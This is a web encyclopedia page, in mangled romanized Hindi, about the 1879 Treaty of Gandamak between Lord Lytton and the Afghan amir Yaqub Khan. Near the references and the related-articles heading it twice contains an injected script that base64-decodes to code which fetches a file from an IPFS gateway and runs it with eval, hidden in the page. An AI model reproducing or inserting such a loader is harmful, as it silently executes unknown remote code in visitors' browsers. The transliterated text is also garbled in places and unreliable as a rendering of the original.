गंडमक की संधि

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

gandamak ki sandhi dvitiy afagan yuddh (1878-1880 ee.) ke dauran mee 1879 ee. mean bharatiy british sarakar ke tatkalin vaisaray l aaurd litan aur afaganistan ke apadasth amir sherali ke putr yaqoob khaan ke bich huee thi.

  • is sandhi ke aantargat yaqoob khaan, jise amir ke roop mean manyata di gee thi, apane videshi sambandh british nirdeshan se sanchalit karane, rajadhani kabul mean british rejideant rakhane aur kurram darre v pishin aur sibi ziloan ko british niyantran mean kar dene ke lie razi ho gaya. pishin aur sibi zile bolan darre ke nikat sthit haian.
  • gandamak ki sandhi l aaurd litan ki afagan niti ki sabase b di upalabdhi thi aur usane british bharat ko ianglaiannd ke tatkalin pradhanamantri l aaurd bekansafild ke shabdoan mean 'vaijnanik sima' pradan kar di, kintu aangrezoan ki yah vijay alpakalin thi.
  • gandamak sandhi ke keval char mahine bad hi 2 sitambar, 1879 ee. ko afaganoan ne phir sir uthaya aur unhoanne british rejident ki hatya kar gandamak sandhi ko radd kar diya.
  • afaganistan mean yuddh phir se bh dak utha aur vah phir tabhi samapt hua, jab aangrezoan ne apane ashrit yaqoob khaan ko afaganoan ke hath samarpit kar diya aur qabul mean apana rejident rakhane ka vichar tatha sandhi ke aantargat mila samagr afagan kshetr tyag diya.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 116.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah